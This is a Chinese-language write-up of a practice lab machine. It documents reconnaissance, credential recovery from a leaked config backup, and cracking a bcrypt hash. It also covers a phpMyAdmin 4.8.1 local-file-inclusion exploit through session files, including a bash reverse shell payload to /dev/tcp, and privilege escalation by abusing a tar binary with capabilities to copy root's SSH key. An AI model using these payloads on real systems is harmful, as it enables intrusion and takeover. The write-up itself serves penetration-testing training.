前言
这是打靶训练的第27周,难度中,靶机下载
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
2082/tcp open ssh OpenSSH 7.4 (protocol 2.0)
网站首页
dirsearch扫描结果
[17:56:56] 200 - 20KB - /about.html
[17:57:09] 301 - 235B - /assets -> http://10.16.122.55/assets/
[17:57:09] 200 - 1KB - /assets/
[17:57:13] 403 - 210B - /cgi-bin/
[17:57:14] 200 - 0B - /config.php
[17:57:15] 200 - 107B - /config.php.bak
[17:57:27] 200 - 11KB - /index.html
果断下载config.php.bak
<?php
$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";
?>
尝试使用此账号登录ssh,禁止密码登录
这扫描结果也没有更多的信息了。再仔细看看网页,首页最上面的contact@votenow.local
有域名。会不会存在子域名。绑定好后,开始爆破
gobuster vhost -u http://votenow.local / -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | grep "Status: 200"
还真存在datasafe.votenow.local
,打开后是phpmyadmin
使用前面搜集的账号votebox:casoj3FFASPsbyoRP,成功登录
在votebox.users
存在账号admin
,$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
。使用john爆破出密码为Stella
。先记下
发现版本是4.8.1
4.8.1存在漏洞,在SQL中执行select '<?php phpinfo() ?>'
通过F12获取cookie中的phpmyadmin的值,
获取值为1gj2o1nqlm449i13s6en97qs95vvk8hk
,构建包含Session值的URL路径,sess_[session]
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_1gj2o1nqlm449i13s6en97qs95vvk8hk
存在漏洞
现在可以反弹shell后,先退出,再重新登录一遍phpmyadmin,刷新下cookie。执行sql语句select '<?php system("bash -i >& /dev/tcp/10.16.122.31/4444 0>&1"); ?>'
。之后按照上面的步骤,得到shell
提权
还记得前面获取到admin账号,密码Stella,切换过去
使用Capabilities进行提权,/usr/sbin/getcap -r / 2>/dev/null
,admin具有tarS
权限
输入以下命令完成提权
cd /home/admin
tarS -cvf k.tar /root/.ssh/id_rsa
tar -xvf k.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082